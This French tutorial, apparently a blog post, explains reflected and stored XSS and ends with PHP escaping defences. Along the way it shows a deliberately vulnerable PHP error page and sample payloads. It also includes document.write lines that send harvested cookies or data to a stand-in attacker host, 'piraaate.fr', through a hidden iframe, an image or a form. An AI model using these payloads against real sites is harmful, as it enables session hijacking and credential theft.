Peut-être avez-vous déjà entendu parler de ces failles, peut-être pas.
Description d'une faille qui peut causer pas mal de soucis...
Description :
Les failles XSS pour Cross Site Scripting sont des failles intervenant niveau client. Le nom est XSS et non CSS car ce dernier est déjà un langage de mise en page web.
Il existe plusieurs niveaux d'actions pour le XSS, mais nous allons voir cela tout de suite.
Le XSS consiste en l'injection d'un code HTML (côté client) non désiré, le plus souvent du JavaScript.
Fonctionnement :
Le premier niveau de XSS ("basé sur Dom" et "non permanent") est d'application très locale, et peu efficace: il s'agit d'injecter du HTML via une requête GET ou POST:
Mais comme un exemple parle mieux, reprenons notre cher http://pigeon.net/ et dotons le d'une page erreur.php qui permet d'afficher n'importe quel message d'erreur:
<?phpMaintenant, certaines pages redirigeront vers alert.php?erreur=Vous devez être connecté ! par exemple.
// En-tête des pages et autres fichiers requis
include'includes/header.inc.php';
// Récupération du message d'erreur
if(empty($_GET['erreur'])){
$message = 'Erreur inconnue ! Veuillez prévenir un administrateur';
signalerreur('Erreur inconnue sur la page d\'erreur !');
}
else{
$message = urldecode($_GET['erreur']);
signalerreur($_GET['erreur'] . ' pour le client '.adresse_IP());
}
echo"<h1>$message</h1>";
?>
Vous constatez que le paramètre transmis n'est jamais vérifié. Vous pouvez donc appeler alert.php?erreur=Erreur ?</h1><br/><h2>Non, juste moi !</h2>
Hé oui, une page de personnalisée :P Bon, si on passait aux choses sérieuses ? Voici un exemple de code que l'on pourrait transmettre:
<script>alert('Muhahahahahaha !!');</script>Et vous comprenez ce qui se passe...
On peut aussi trouver ce genre de faille sur des moteurs de recherche (non, c'est même pas la peine d'essayer sur Google...), et sur toutes les pages qui se serve d'un paramètre transmis par le client pour générer et afficher du HTML.
Le second niveau (ou "permanent") est nettement plus dangereux: il permet en effet la même chose que le premier mais sur un horizon beaucoup plus large !
Il s'agit de pages qui stocke des informations non traitées pour les afficher ensuite... comme par exemple un module de news ou de livre d'or: si on dépose un commentaire contenant du HTML, il sera exécuté par TOUS les clients affichant la page ! C'est là la grosse différence entre les deux niveaux.
Enjeux :
Les failles de niveau 1 sont exploitables uniquement par ingénierie sociale, c'est-à-dire de demander à quelqu'un de cliquer sur un lien; mais à part ça elles ne sont pas si différentes du niveau 2.
C'est bien beau, mais qu'est-ce qu'on peut en tirer, de ce code HTML ?
Eh bien comme je l'ai déjà dit, c'est souvent du JavaScript qui est utilisé. Et ses possibilités sont les suivantes:
- Utilisation des cookies du site en question: si le codeur a eu la mauvaise idée de créer un cookie contenant la paire login/pass, alors on pourra le lire et le sauvegarder sur un serveur auxiliaire. (voir "Envoi")
- Modification de la page courante: un petit form.action="http://piraaate.fr/capture.php" sur le formulaire de connexion ? Très intéressant.
- Execution de commandes: par l'appel d'URLs clés, par exemple http://pigeon.net/admin/newadmin.php avec pour arguments POST des données telles que nom=Pirate&passe=blopblip. Très critique, surtout que l'on usurpe la session du malheureux client, et ce qui va avec c'est-à-dire de son identification s'il est connecté !
- Affichage de alert() en folie: un grand nombre de alert() se suivant sans laisser à l'utilisateur le temps de fermer la page. Très idiot.
- Collecte d'informations à propos des utilisateurs. Très inutile.
- Vous voyez, les possibilités sont (presque) infinies !
document.write("<iframe src='http://piraate.fr/stocke.php?donnees="+donneesrecoltees+"' style='display:none;'></iframe>")
document.write("<img src="http://piraaate.fr/stocke.php?infos='"+donneesrecoltees+"' style='display: none;' />")
document.write('<form action="http://piraaate.fr/stocke.php" method="get ou post"><input name="infos" value="'+donneesrecoltees+'" type="hidden" /></form>');
avec un redirection immédiate sur la page de départ après le stockage- Et plein d'autres encore (je n'ai pas parlé du XHTTPREQUEST...)
Contournement :
Pour sécuriser vos pages, voici quelques fonctions PHP:
- htmlspecialchars() qui convertit les tags, & ' et " si j'ai bon souvenir.
- htmlentities() qui convertit en plus les accents en entités HTML (plus de problèmes d'encodage !).
- strip_tags() qui supprime les tags HTML ou PHP.
J'ai l'impression que j'ai fait le tour du sujet, si vous avez une question n'hésitez pas à poster un commentaire.